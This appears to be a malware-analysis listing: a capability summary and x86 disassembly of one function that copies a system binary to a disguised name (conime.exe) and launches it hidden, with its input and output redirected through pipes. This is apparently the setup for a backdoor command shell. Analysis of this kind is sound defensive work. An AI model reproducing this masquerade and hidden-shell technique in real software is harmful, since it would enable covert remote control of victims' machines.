Function at 0x10003a20
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x160], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax + 4], 0
push 0xff
lea ecx, [ebp - 0x158]
push ecx
push str._windir__system32_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0xff
mov edx, dword [ebp - 0x160]
add edx, 0x20
push edx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.msvcrt.dll_strncat]
add esp, 0xc
mov byte [ebp - 0x5a], 0
push 0xff
mov ecx, dword [ebp - 0x160]
add ecx, 0x11f
push ecx
push str._windir__system32IMEconime.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov edx, dword [ebp - 0x160]
mov byte [edx + 0x21d], 0
push 0
mov eax, dword [ebp - 0x160]
add eax, 0x11f
push eax
lea ecx, [ebp - 0x158]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10003b67
push 0xff
mov edx, dword [ebp - 0x160]
add edx, 0x11f
push edx
push str._windir__systemconime.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [ebp - 0x160]
mov byte [eax + 0x21d], 0
push 0
mov ecx, dword [ebp - 0x160]
add ecx, 0x11f
push ecx
lea edx, [ebp - 0x158]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10003b67
push 0xff
mov eax, dword [ebp - 0x160]
add eax, 0x11f
push eax
push str._Windir__tempconime.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ecx, dword [ebp - 0x160]
mov byte [ecx + 0x21d], 0
push 0
mov edx, dword [ebp - 0x160]
add edx, 0x11f
push edx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10003b67
xor al, al
jmp 0x10003ca9
push 0
push 0
mov ecx, dword [ebp - 0x160]
add ecx, 0x18
push ecx
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x160]
add ecx, 0x1c
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 3
push 1
push 0
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 3
push 1
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x44
push 0
lea eax, [ebp - 0x50]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x10
push 0
mov ecx, dword [ebp - 0x160]
add ecx, 8
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x50], 0x44
xor edx, edx
mov word [ebp - 0x20], dx
mov dword [ebp - 0x24], 0x101
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x160]
add eax, 8
push eax
lea ecx, [ebp - 0x50]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
mov edx, dword [ebp - 0x160]
add edx, 0x11f
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003c90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x160]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x10003ca9
mov ecx, dword [ebp - 0x15c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0x54]
xor ecx, ebp
call fcn.1000415e
mov esp, ebp
pop ebp
ret